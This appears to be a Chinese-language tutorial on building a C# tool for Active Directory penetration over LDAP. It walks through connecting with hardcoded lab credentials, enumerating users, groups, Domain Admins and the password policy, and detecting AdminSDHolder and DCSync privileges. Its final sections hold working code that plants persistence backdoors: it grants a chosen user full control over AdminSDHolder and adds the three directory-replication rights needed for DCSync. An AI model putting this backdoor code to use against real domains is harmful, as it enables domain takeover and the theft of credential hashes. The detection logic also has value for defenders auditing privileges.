C#編寫LDAP內網滲透工具
0x01 LDAP連接
我們常規的ldap查詢例如ldapsearch
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local"
ldap連接地址為:ldap://192.168.11.16 用戶為hack 密碼為test123..
在域外我們需要指定ip地址,在域內我們只需要指定域名也行,例如測試環境的redteam,也就是ldap://redteam,這里就說明我們寫代碼的時候就需要考慮是在域內還是在域外。
在c#進行ldap連接的時候需要引入DirectoryServices.dll,這個是系統自帶的,自行尋找。
using System.DirectoryServices

1.1域外連接
string url = "LDAP://192.168.11.16/"; string username = "hack"; string password = "test123.."; DirectoryEntry coon = new DirectoryEntry(url,username, password);
DirectoryEntry類可封裝 Active Directory 域服務層次結構中的節點或對象。
1.2 域內連接
如果是在域內,我們直接可以使用
DirectoryEntry coon = new DirectoryEntry();
所以我們就要判斷下兩種情況。我們知道了要用coon來獲取節點列表,用search來進行條件查詢。我們可以寫兩個方法來進行獲取:
//域內
public static DirectoryEntry Get_coon_nopass()
{
coon = new DirectoryEntry();
return coon;
}
public static DirectorySearcher Get_search_nopass()
{
search = new DirectorySearcher(coon);
return search;
}
//域外
public static void SET_LDAP_USER_PASS()
{
url = "LDAP://" + GetArgsValue.domain;
username = GetArgsValue.user;
password = GetArgsValue.pass;
}
public static DirectoryEntry Get_coon()
{
coon = new DirectoryEntry(url, username, password);
return coon;
}
public static DirectorySearcher Get_search()
{
search = new DirectorySearcher(coon);
return search;
}
域內很好理解,這里來說下域外。SET_LDAP_USER_PASS()這個方法用來獲取url,username,password,然后調用了GetArgsValue類里面的屬性。
這里我用了NDesk.Options來處理獲取的參數。
先定義三個list
List domains = new List();
List users = new List();
List passes = new List();
{ "t|target=", "the {Target} of the needed to add user",v => adduser.Add (v) },
{ "d|domain=", "the {IP} of the target",v => domains.Add (v) },
{ "u|user=", "the {user} of the target",v => users.Add (v) },
這里的意思就是當用戶輸入-t -d -u 后面接受的值分別傳遞給了domains,users,passes。
然后寫了個GetArgsValue類來存儲這些值
public static string domain = "";
public static string user = "";
public static string pass = "";
public static void GetDomainValue(List param1 = null)
{
foreach (string p in param1)
{
domain = p;
}
}
public static void GetUserValue(List param2 = null)
{
foreach (string p in param2)
{
user = p;
}
}
public static void GetPassValue(List param3 = null)
{
foreach (string p in param3)
{
pass = p;
}
}
然后在主函數調用了一下方法。
//domain ip GetArgsValue.GetDomainValue(domains); //domain user GetArgsValue.GetUserValue(users); //domain pass GetArgsValue.GetPassValue(passes);
那么當用戶輸入的值就會存儲在GetArgsValue類里面的3個字段里。現在看到一下就很好理解了
url = "LDAP://" + GetArgsValue.domain; username = GetArgsValue.user; password = GetArgsValue.pass;
域內外連接都寫了,然后就要寫一個方法來接受我們的連接。
public static void LDAP_COON()
{
if(GetArgsValue.user == "" && GetArgsValue.pass == "")
{
try
{
coon = Get_coon_nopass();
search = Get_search_nopass();
}
catch
{
Font.Warning();
Console.WriteLine("connection ldap fail");
Font.NormailFonts();
}
}else if(GetArgsValue.user != "" && GetArgsValue.pass != "")
{
try
{
SET_LDAP_USER_PASS();
coon = Get_coon();
search = Get_search();
}
catch
{
Font.Warning();
Console.WriteLine("connection ldap fail");
Font.NormailFonts();
}
}
}
這里我的方法就是當GetArgsValue.user和GetArgsValue.pass的值為空的時候就會執行域內連接方法,否則就為域外。
我們把這個連接方法封裝到Ldapcoon類里面,方便后面的調用
當在域外輸入以下就會連接
xx.exe -d 192.168.11.16 -u hack -p test123..
0x02 Filter搜索條件
這里只會講一些我們需要用到的一些語法,其他語法如果感興趣可以自行搜索下。
這里先舉例獲取域內用戶
(&(objectClass=user)(objectCategory=person))

在c#中DirectorySearcher類的作用是對 Active Directory 域服務執行查詢
public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot); searchRoot DirectoryEntry Active Directory 域服務層次結構中的節點,從該節點處開始搜索。 SearchRoot 屬性初始化為該值。
設置filter為查詢域內所有用戶
DirectorySearcher search = new DirectorySearcher(coon);
search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach (SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
Console.WriteLine(users);
}
catch
{
Console.WriteLine("error");
}
}
這里name值如何而來,我其實是這樣看的:我們先用ldapsearch執行該語句
ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectClass=user)(objectCategory=person))"

代碼:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.DirectoryServices;
namespace DemoLdap
{
class Program
{
static void Main(string[] args)
{
string url = "LDAP://192.168.11.16";
string username = "hack";
string password = "test123..";
DirectoryEntry coon = new DirectoryEntry(url, username, password);
DirectorySearcher search = new DirectorySearcher(coon);
search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach(SearchResult r in search.FindAll())
{
string users = "";
try
{
users = r.Properties["name"][0].ToString();
Console.WriteLine(users);
}
catch
{
Console.WriteLine("error");
}
}
}
}
}
執行結果為:

0x03 c#獲取域內基本信息
前面連接函數已經寫好后面獲取這些基本信息就很簡單了。
public static void GetAllUsers()
{
try
{
Ldapcoon.LDAP_COON();
Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
Font.InfoFonts();
Console.WriteLine("===========All Users===========");
Font.NormailFonts();
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string domain_users = "";
domain_users = r.Properties["name"][0].ToString();
Console.WriteLine(domain_users);
}
}
catch
{
Font.Warning();
Console.WriteLine("error!");
Font.NormailFonts();
}
}
首先通過Ldapcoon類的LDAP_COON()方法獲取域內節點coon,和可以用來搜索的search。域內就會返回域內的DirectoryEntry和DirectorySearcher對象,域外就會返回域外的DirectoryEntry和DirectorySearcher對象。
后面一些其他的就不再詳講
查詢域內組
public static void GetAllGroups()
{
try
{
Ldapcoon.LDAP_COON();
Ldapcoon.search.Filter = "(&(objectCategory=group))";
Font.InfoFonts();
Console.WriteLine("===========All Groups===========");
Font.NormailFonts();
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string groups = "";
string groupdescription = "";
groups = r.Properties["cn"][0].ToString();
Console.WriteLine("Group: " + groups);
//groupdescription = r.Properties["description"][0].ToString();
//Console.WriteLine("Description: " + groupdescription + "\r");
}
}
catch
{
Font.Warning();
Console.WriteLine("error!");
Font.NormailFonts();
}
}
域內密碼策略:
public static void GetPassPolicy()
{
try
{
Ldapcoon.LDAP_COON();
Font.InfoFonts();
Console.WriteLine("===========Pass Policy===========");
Font.NormailFonts();
SearchResult r = Ldapcoon.search.FindOne();
long maxDays = 0;
long minDays = 0;
Int64 maxPwdAge = 0;
Int64 minPwdAge = 0;
string minPwdLength = "";
string lockoutThreshold = "";
Int64 lockoutDuration = 0;
long lockTime = 0;
maxPwdAge = (Int64)r.Properties["maxPwdAge"][0];
maxDays = maxPwdAge / -864000000000;
minPwdAge = (Int64)r.Properties["minPwdAge"][0];
minDays = minPwdAge / -864000000000;
minPwdLength = r.Properties["minPwdLength"][0].ToString();
lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString();
lockoutDuration = (Int64)r.Properties["lockoutDuration"][0];
lockTime = lockoutDuration / -864000000000;
Console.WriteLine("最小修改密碼時間:" + minDays);
Console.WriteLine("最大修改密碼時間:" + maxDays);
Console.WriteLine("最小密碼長度:" + minPwdLength);
Console.WriteLine("多少次鎖定:" + lockoutThreshold);
Console.WriteLine("鎖定持續時間:" + lockTime);
}
catch
{
Font.Warning();
Console.WriteLine("error!");
Font.NormailFonts();
}
}
域管
public static void GetAllAdmins()
{
try
{
Ldapcoon.LDAP_COON();
Ldapcoon.search.Filter = "(&(objectClass=group)(cn=Domain Admins))";
Font.InfoFonts();
Console.WriteLine("===========All Domain Admins===========");
Font.NormailFonts();
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
int domain_users_count = 0;
string domain_users = "";
int len = 0;
domain_users_count = r.Properties["member"].Count;
while(len < domain_users_count)
{
domain_users = r.Properties["member"][len].ToString();
len++;
if (domain_users.Contains("User"))
{
Console.WriteLine(domain_users);
}
else
{
continue;
}
}
}
}
catch
{
Font.Warning();
Console.WriteLine("error!");
Font.NormailFonts();
}
}
這里查詢域管,我是這樣進行處理的,我們先通過ldapsearch來查看返回結果

然后我獲取member的數量然后看里面是否包含user來輸出。
0x04 AdminSDHolder檢測與后門用戶添加
4.1 檢測
AdminSDHolder是對CN=AdminSDHolder,CN=System,DC=redteam,DC=local這個cn擁有完全控制權限的用戶,我們前面說到
public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
這里的searchroot就是查詢的根地址我們就需要綁定到CN=AdminSDHolder,CN=System,DC=redteam,DC=local這里來也就是說url為
LDAP://192.168.11.16/CN=AdminSDHolder,CN=System,DC=redteam,DC=local 或者為 LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
每個域的名字都不一樣所以我們要來獲取對象的DC=redteam,DC=local和redteam這個值。
這里我們來創建一個public_value類也就是公共值類。
我們通過adexplorer來可以看到distinguishedName的值就為我們需要的。

我們可以看到objectClass為domainDNS.

所以我們的filter為:
(&(objectClass=domainDNS))
這里先用ldapsearch來進行查詢

所以我們可以寫一個方法來獲取了:
//獲取DC=redteam,DC=local這個值
public static String GetdistinguishedName()
{
string Domain_DNS_Name = "";
try
{
Ldapcoon.LDAP_COON();
Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string domainDNS_Name = "";
domainDNS_Name = r.Properties["distinguishedName"][0].ToString();
Domain_DNS_Name = domainDNS_Name;
}
}
catch
{
Font.Warning();
Console.WriteLine("error!");
Font.NormailFonts();
}
return Domain_DNS_Name;
}
同理

//獲取readteam這個值
public static String Get_Dns_First_Name()
{
string Dns_First_Name = "";
try
{
Ldapcoon.LDAP_COON();
Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string domainDC_Name = "";
domainDC_Name = r.Properties["dc"][0].ToString();
Dns_First_Name = domainDC_Name;
}
}
catch
{
Font.Warning();
Console.WriteLine("error!");
Font.NormailFonts();
}
return Dns_First_Name;
}
那么現在就可以綁定adminsdholder路徑了
//首先獲取DC=redteam,DC=local這個值
string distinguishedName = "";
distinguishedName = public_value.GetdistinguishedName();
//然后獲取readteam這個值
string dc = "";
dc = public_value.Get_Dns_First_Name();
if (dc != "" && distinguishedName != "")
{
//進行拼接如果在域內可以直接拼接為以下
//LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
bool flag = public_value.isindomain();
string AdminSDHolder_path = "";
if (flag)
{
AdminSDHolder_path = "LDAP://" + dc + "/CN=AdminSDHolder,CN=System," + distinguishedName;
}
else
{
AdminSDHolder_path = "LDAP://" + GetArgsValue.domain + "/CN=AdminSDHolder,CN=System," + distinguishedName;
}
Ldapcoon.coon.Path = AdminSDHolder_path;
這里為了方便我寫了個isindomain放來來判斷是否在域內還是在域外
//判斷域內還是域外
public static bool isindomain()
{
if (GetArgsValue.user != "" && GetArgsValue.pass != "")
{
return false;
}
return true;
}
我們需求很簡單就是要獲取哪些用戶對adminsdholder這個cn擁有完全控制權限。
DirectoryEntry類有個屬性叫做ObjectSecurity作用是獲取或設置此項的安全說明符。這個詳細請自行查看msdn。
ActiveDirectorySecurity sec = Ldapcoon.coon.ObjectSecurity;
AuthorizationRuleCollection rules = null;
rules = sec.GetAccessRules(true, true, typeof(NTAccount));
foreach (ActiveDirectoryAccessRule rule in rules)
{
if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
{
string acl = rule.IdentityReference.Value;
if (acl.Contains("-"))
{
//域外查詢可能會出現用戶名為sid的情況。所以需要轉換
//Console.WriteLine(acl);
string user_name = public_value.SidToUserName(acl);
if(user_name != "error")
{
Console.WriteLine(user_name);
}
}
else
{
Console.WriteLine(acl);
}
}
}
獲取到coon的安全說明符后調用GetAccessRules方法獲取與指定的安全性標識符關聯的訪問規則的集合。也就是說獲取我們這個節點的規則集合,然后用foreach來循環判斷。當用戶的ActiveDirectoryRights也就是權限為GenericAll我們就輸出出來他的名字,也就是對adminsdholder這個擁有完全控制權限的用戶。當我們在域外的時候我們獲取到的用戶可能是sid,所以我們還需要讓sid轉換為域內用戶名字。當然這個用戶可能是一個user,group或者一個computer
這里調用了public_value的SidToUserName方法。
//sid to username
public static string SidToUserName(string sid)
{
try
{
Ldapcoon.LDAP_COON();
string url = "LDAP://" + GetArgsValue.domain + "/ + sid + ">";
Ldapcoon.coon.Path = url;
Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string users = "";
users = r.Properties["name"][0].ToString();
if (users != "")
{
return users;
}
}
Ldapcoon.search.Filter = "(&(objectClass=group))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string groups = "";
groups = r.Properties["name"][0].ToString();
if (groups != "")
{
return groups;
}
}
Ldapcoon.search.Filter = "(&(objectClass=computer))";
foreach (SearchResult r in Ldapcoon.search.FindAll())
{
string computers = "";
computers = r.Properties["name"][0].ToString();
if (computers != "")
{
return computers;
}
}
}
catch
{
}
return "error";
}
在ldap用支持以下語法這種形式
LDAP://192.168.11.16/
于是我們把sid帶入,設置coon.path為該用戶再通過(&(objectClass=user)(objectCategory=person))過濾條件搜索出來,比如

我們綁定了hack用戶為rootpath,那么通過過濾條件搜索出來的也是它自己,因為它沒有子節點了。然后獲取他的name值,當獲取到的不為空就返回,否則就返回error,然后在adminsdholder檢測代碼這邊我們寫道
string acl = rule.IdentityReference.Value;
if (acl.Contains("-"))
{
//域外查詢可能會出現用戶名為sid的情況。所以需要轉換
//Console.WriteLine(acl);
string user_name = public_value.SidToUserName(acl);
if(user_name != "error")
{
Console.WriteLine(user_name);
}
當user_name不為error的時候就會輸出,那么什么時候會輸出error呢?假如我們以前有一個用戶為qqq,然后他對adminsdholder這個組擁有完全控制權限,但是我們后來把這個用戶刪除了,他就會到一個CN=Deleted Objects里面他的sid就為url就為下面這個然后我們的LDAP://redteam/就會失敗。
CN=qqqDEL:67e38247-2727-4c5a-8704-c9f33ad747da,CN=Deleted Objects,DC=redteam,DC=local
我們在匹配誰對adminsdholder擁有完全控制權限的時候還是會檢測到。就搜索失敗返回error,這里我們獲取到error的直接continue。
4.2 添加
前面同理我們需要設置rootpath
Ldapcoon.LDAP_COON(); //獲取DC=redteam,DC=local string distinguishedName = ""; string domainname = ""; domainname = public_value.Get_Dns_First_Name(); distinguishedName = public_value.GetdistinguishedName(); //string AdminSDHolder_Path = "LDAP://192.168.11.16/CN=System,DC=redteam,DC=local"; string AdminSDHolder_Path = "LDAP://" + domainname + "/" + "CN=System," + distinguishedName; //Console.WriteLine(AdminSDHolder_Path); Ldapcoon.coon.Path = AdminSDHolder_Path;
賦予用戶對adminsdholder完全控制權限
foreach (DirectoryEntry computer in Ldapcoon.coon.Children)
{
if (computer.Name == "CN=AdminSDHolder")
{
ActiveDirectorySecurity sdc = computer.ObjectSecurity;
NTAccount Account = new NTAccount(username);
SecurityIdentifier Sid =(SecurityIdentifier)Account.Translate(typeof(SecurityIdentifier));
ActiveDirectoryAccessRule rule = new ActiveDirectoryAccessRule(Sid,ActiveDirectoryRights.GenericAll,AccessControlType.Allow);
sdc.SetAccessRule(rule);
computer.CommitChanges();
Font.InfoFonts();
Console.WriteLine("AdminSDHolder back door add user "+ username + " success!!");
Font.NormailFonts();
}
}
我們先遍歷節點當節點為CN=AdminSDHolder的時候獲取他的安全規則集合
然后我們看到ActiveDirectoryAccessRule類:用于表示 Active Directory 域服務對象的自由訪問控制列表 (DACL) 中的訪問控制項 (ACE)。
ActiveDirectoryAccessRule(IdentityReference, ActiveDirectoryRights, AccessControlType)
我們可以看到第一個參數為一個IdentityReference對象,第二個參數為訪問規則權限的一個或多個,第三個參數為訪問規則類型。
我們前面的account為NTAccount類型,我們可以通過Translate把他轉換為IdentityReference類型,然后第二個我們設置為GenericAll,第三個設置為允許。我們設置了這個規則后可以通過SetAccessRule方法來設置。
最后通過CommitChanges方法來進行添加。

0x05 Dcsync檢測與后門用戶添加
5.1 檢測
當用戶對根域擁有完全控制權限或者擁有以下三條ace或者對以下權限打勾的時候就能dcsync。
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 89e95b76-444d-4c62-991a-0facbeda640c

我們先綁定rootpath為根路徑然后先判斷擁有完全控制權限的用戶:
if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
{
string acl = rule.IdentityReference.Value;
if (acl.Contains("-"))
{
//域外查詢可能會出現用戶名為sid的情況。所以需要轉換
//Console.WriteLine(acl);
string user_name = public_value.SidToUserName(acl);
if (user_name != "error")
{
ACE_Changes.Add(user_name);
ACE_Changes_All.Add(user_name);
ACE_Changes_In_Filtered_Set.Add(user_name);
}
else
{
continue;
}
}
else
{
ACE_Changes.Add(acl);
ACE_Changes_All.Add(acl);
ACE_Changes_In_Filtered_Set.Add(acl);
}
}
這里的
ACE_Changes.Add(acl); ACE_Changes_All.Add(acl); ACE_Changes_In_Filtered_Set.Add(acl);
這里我通過switch case來進行判斷是否擁有這個三條acl,可能有些用戶只有兩條或者一條,所以我通過
string guids = rule.ObjectType.ToString();
switch (guids)
{
case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
username = dcsync_return_username(rule);
if(username == null)
{
continue;
}
//Console.WriteLine("ACE:復制目錄更改");
//Console.WriteLine("User:"+ username);
ACE_Changes.Add(username);
break;
case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
username = dcsync_return_username(rule);
if (username == null)
{
continue;
}
//Console.WriteLine("ACE:復制目錄更改全部");
//Console.WriteLine("User:" + username);
ACE_Changes_All.Add(username);
break;
case "89e95b76-444d-4c62-991a-0facbeda640c":
username = dcsync_return_username(rule);
if (username == null)
{
continue;
}
//Console.WriteLine("ACE:復制過濾集中的目錄更改");
//Console.WriteLine("User:" + username);
ACE_Changes_In_Filtered_Set.Add(username);
break;
}
來進行處理,當擁有每條acl的時候就添加到一個集合里面,然后我們再取三個集合的交集
//取三個集合的交集
IEnumerable dcsync_users1 = ACE_Changes.Intersect(ACE_Changes_All);
IEnumerable dcsync_users2 = dcsync_users1.Intersect(ACE_Changes_In_Filtered_Set);
foreach(string dcsync_users in dcsync_users2)
{
Console.WriteLine(dcsync_users);
}
通過以上方法取出來我發現了一個問題當一個用戶勾選了特殊權限,他的acl里面那三個復制目錄權限是沒有打上勾的但是依然能夠進行dcsync。
再ActiveDirectoryAccessRule類里面存在一個InheritedObjectType屬性,他的作用是獲取可繼承ObjectAccessRule對象的子對象的類型,所以我們也要判斷用戶這里面的值是否也用戶這三條acl。
string guids_extend = rule.InheritedObjectType.ToString();
switch (guids_extend)
{
case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
username = dcsync_return_username(rule);
if (username == null)
{
continue;
}
//Console.WriteLine("ACE:復制目錄更改");
//Console.WriteLine("User:"+ username);
ACE_Changes.Add(username);
break;
case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
username = dcsync_return_username(rule);
if (username == null)
{
continue;
}
//Console.WriteLine("ACE:復制目錄更改全部");
//Console.WriteLine("User:" + username);
ACE_Changes_All.Add(username);
break;
case "89e95b76-444d-4c62-991a-0facbeda640c":
username = dcsync_return_username(rule);
if (username == null)
{
continue;
}
//Console.WriteLine("ACE:復制過濾集中的目錄更改");
//Console.WriteLine("User:" + username);
ACE_Changes_In_Filtered_Set.Add(username);
break;
}
5.2 添加
我們通過ExtendedRightAccessRule類來添加這三條acl的guid
public ExtendedRightAccessRule (System.Security.Principal.IdentityReference identity, System.Security.AccessControl.AccessControlType type, Guid extendedRightType);
第一個為SecurityIdentifier的對象,前面已經說明了。第二個為訪問規則類型。第三個為acl的guid。
然后通過AddAccessRule來添加。
ActiveDirectorySecurity adsOUSec = Ldapcoon.coon.ObjectSecurity;
NTAccount ntaToDelegate = new NTAccount(username);
SecurityIdentifier Sid = (SecurityIdentifier)ntaToDelegate.Translate(typeof(SecurityIdentifier));
Guid Get_Changes = new Guid("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2");
Guid Get_Changes_All = new Guid("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2");
Guid ACE_Changes_In_Filtered = new Guid("89e95b76-444d-4c62-991a-0facbeda640c");
ExtendedRightAccessRule Changes = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes);
ExtendedRightAccessRule Changes_All = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes_All);
ExtendedRightAccessRule Changes_Filtered = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, ACE_Changes_In_Filtered);
adsOUSec.AddAccessRule(Changes);
adsOUSec.AddAccessRule(Changes_All);
adsOUSec.AddAccessRule(Changes_Filtered);
Ldapcoon.coon.CommitChanges()

